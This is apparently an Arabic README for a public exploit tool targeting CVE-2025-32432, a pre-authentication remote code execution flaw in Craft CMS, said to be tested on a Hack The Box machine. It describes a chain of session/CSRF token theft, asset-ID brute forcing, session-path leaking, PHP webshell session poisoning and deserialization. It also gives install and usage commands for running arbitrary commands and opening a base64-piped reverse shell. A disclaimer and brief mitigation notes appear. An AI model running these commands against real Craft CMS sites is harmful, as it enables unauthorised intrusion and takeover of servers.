استغلال موثوق لثغرة CVE-2025-32432 (تنفيذ تعليمات عن بُعد قبل المصادقة) في Craft CMS إصدارات 3.x/4.x/5.x، يعمل حيث تفشل أدوات PoC العامة الأخرى
المؤلف: P34NUT2
الثغرة: تنفيذ تعليمات برمجية عن بُعد (قبل المصادقة) في Craft CMS
CVE: CVE-2025-32432
الهدف: أي نسخة Craft CMS مصابة (3.x / 4.x / 5.x) — تم اختبارها على Hack The Box: Orion
تُقدَّم هذه الأداة بشكل صارم لأغراض تعليمية واختبار اختراق مُصرَّح به ضمن بيئات مُتحكَّم بها مثل Hack The Box أو TryHackMe أو مختبرات خاصة تملكها أو لديك إذن كتابي صريح باختبارها.
الاستخدام غير المُصرَّح به لهذه الأداة ضد أنظمة لا تملكها أو لا تملك إذنًا صريحًا باختبارها يُعد غير قانوني بموجب قانون الغش وإساءة استخدام الحاسوب (CFAA)، وتوجيه الاتحاد الأوروبي بشأن الهجمات على أنظمة المعلومات، والقوانين المكافئة في معظم الدول حول العالم.
لا يتحمّل المؤلف أي مسؤولية أو التزام عن أي إساءة استخدام أو ضرر أو تبعات قانونية ناتجة عن استخدام هذا البرنامج. استخدمه بمسؤولية وأخلاقية.
معظم إثباتات المفهوم (PoCs) العامة لـ CVE-2025-32432 تفشل ضد أهداف واقعية مثل HTB: Orion بسبب:
&، >، <)تم بناء هذا الاستغلال من الصفر لحل مشكلات الموثوقية تلك. فهو يتعامل بشكل صحيح مع ترميز URL، ويؤتمت استخراج الرموز الديناميكية، ويستخدم خطوط أنابيب غلاف Base64 لتحقيق تنفيذ موثوق ضد أي نسخة Craft CMS مصابة — تم التحقق منه ضد عمليات نشر حقيقية وإثباته على HTB Orion.
| الخطوة | الإجراء | الوصف |
|---|---|---|
| 1 | الحصول على الجلسة و CSRF | يستخرج CraftSessionId و CRAFT_CSRF_TOKEN و CSRF_TOKEN الديناميكي من نقطة نهاية المسؤول |
| 2 | اكتشاف معرّف الأصل (Asset ID) | يجري هجوم القوة الغاشمة على معرّفات الأصول الصالحة المطلوبة لحمولة توليد التحويل |
| 3 | تسريب مسار الجلسة | يحقن كائن Guzzle لتفعيل phpinfo() وقراءة session.save_path ديناميكيًا |
| 4 | تسميم الجلسة | يحقن حمولة PHP webshell مُرمَّزة بـ URL في ملف الجلسة النشط |
| 5 | تفعيل RCE | يُجري إلغاء تسلسل للجلسة المسمومة لتنفيذ أوامر نظام عشوائية |
git clone https://github.com/P34NUT2/CVE-2025-32432-exploit-by-P34NUT2.git
cd CVE-2025-32432-exploit-by-P34NUT2
pip install -r requirements.txt
| العلامة | الخيار الطويل | مطلوب | الوصف |
|---|---|---|---|
-u | --url | ✅ نعم | عنوان URL الأساسي للهدف (مثل http://example.com) |
-c | --cmd | ✅ نعم | الأمر المراد تنفيذه على الهدف البعيد |
-a | --asset | ❌ لا | معرّف أصل صالح معروف (يُسرّع التنفيذ) |
-s | --scan-max | ❌ لا | الحد الأقصى لنطاق القوة الغاشمة لمعرّف الأصل (الافتراضي: 300) |
1. تنفيذ أمر أساسي
python3 craftcms_rce_exploit_php.py -u http://example.com -c "whoami"
2. مع معرّف أصل معروف (أسرع)
python3 craftcms_rce_exploit_php.py -u http://example.com -a 1 -c "id"
3. حمولة مُرمَّزة (موصى بها للأحرف الخاصة)
لمنع تعديل الأحرف الخاصة بواسطة محلّلات HTTP أو اقتطاعها أثناء معالجة الجلسة، رمّز أمرك بـ Base64 قبل تمريره:
# Step 1 — encode your command locally
echo -n "YOUR_COMMAND_HERE" | base64
# Step 2 — pass the encoded string through the script
python3 craftcms_rce_exploit_php.py -u http://example.com -c "echo <BASE64_STRING> | base64 -d | sh"
4. Reverse Shell عبر غلاف Base64
python3 craftcms_rce_exploit_php.py -u http://target.htb -c "echo <B64_PAYLOAD> | base64 -d | bash"
إذا كنت مسؤول نظام أو مطوّرًا يشغّل Craft CMS، فطبّق التخفيفات التالية:
/actions/*) عبر قواعد جدار الحماية أو الوسيط (middleware).هذا المشروع مُرخَّص للاستخدام التعليمي والاختبار المُصرَّح به فقط. راجع LICENSE للتفاصيل.